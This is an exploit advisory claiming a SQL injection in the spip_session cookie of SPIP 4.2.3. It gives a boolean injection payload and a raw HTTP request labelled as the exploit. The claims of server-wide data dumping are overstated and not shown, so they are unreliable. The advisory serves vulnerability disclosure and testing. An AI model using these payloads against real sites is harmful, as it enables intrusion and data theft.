SPIP 4.2.3 SQL Injection

`## Title: spip-v4.2.3 SQLi-cookie session vulnerability - Server Side  
Sensitive information Disclosure!  
## Author: nu11secur1ty  
## Date: 06.28.2023  
## Vendor: https://www.spip.net/en_rubrique25.html  
## Software: https://files.spip.net/spip/archives/spip-v4.2.3.zip  
## Reference: https://portswigger.net/web-security/information-disclosure  
  
  
  
## Description:  
The spip_session cookie appears to be vulnerable to SQL injection  
attacks. A single quote was submitted in the spip_session cookie, and  
a database error message was returned. Two single quotes were then  
submitted and the error message disappeared. You should review the  
contents of the error message, and the application's handling of other  
input, to confirm whether a vulnerability is present.  
Additionally, the payload ' and '8025'='8025 were submitted in the  
spip_session cookie, and a database error message was returned.  
The attacker who has an account easily can dump almost all sensitive  
information from the server. This is the wrong configuration of the  
sessions of this app and a serious bug in the backend execution -  
function modules of this app which bug is coming from the development  
team of this web application! No one user account or even broadcast  
admin account, must not be seeing inside information of the server,  
except on the layer 2 level, which must be a LOCAL ADMINISTRATOR! from  
the side of the developers of this web app.  
  
STATUS: HIGH-CRITICAL Vulnerability  
  
[+]Exploit:  
```GET  
GET /pwnedhost7/ecrire/?exec=info HTTP/1.1  
Host: 192.168.100.45  
Cookie: spip_admin=%40pwned%40pwned.com; spip_accepte_ajax=1;  
spip_session=1_c9209323400f315bb516fdc7c5345eae  
Cache-Control: max-age=0  
Sec-Ch-Ua:  
Sec-Ch-Ua-Mobile: ?0  
Sec-Ch-Ua-Platform: ""  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134  
Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: none  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/SPIP/spip-v4.2.3)  
  
## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2023/06/spip-v423-sqli-cookie-session.html)  
  
## Time spend:  
03:15:00  
  
`